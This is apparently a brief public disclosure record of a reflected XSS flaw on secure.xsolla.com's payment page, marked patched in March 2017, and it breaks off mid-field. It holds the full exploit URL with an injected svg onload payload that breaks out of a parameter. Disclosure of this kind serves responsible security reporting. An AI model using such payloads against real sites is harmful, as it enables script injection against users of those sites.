secure.xsolla.com XSS vulnerability

Vulnerable URL: https://secure.xsolla.com/paystation2/index.php?marketplace=mobile=100=9944=714&v1;=2102531=100=USD=en=2102531support%40mpets.net=directpayment=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 29.03.2017 Latest check for...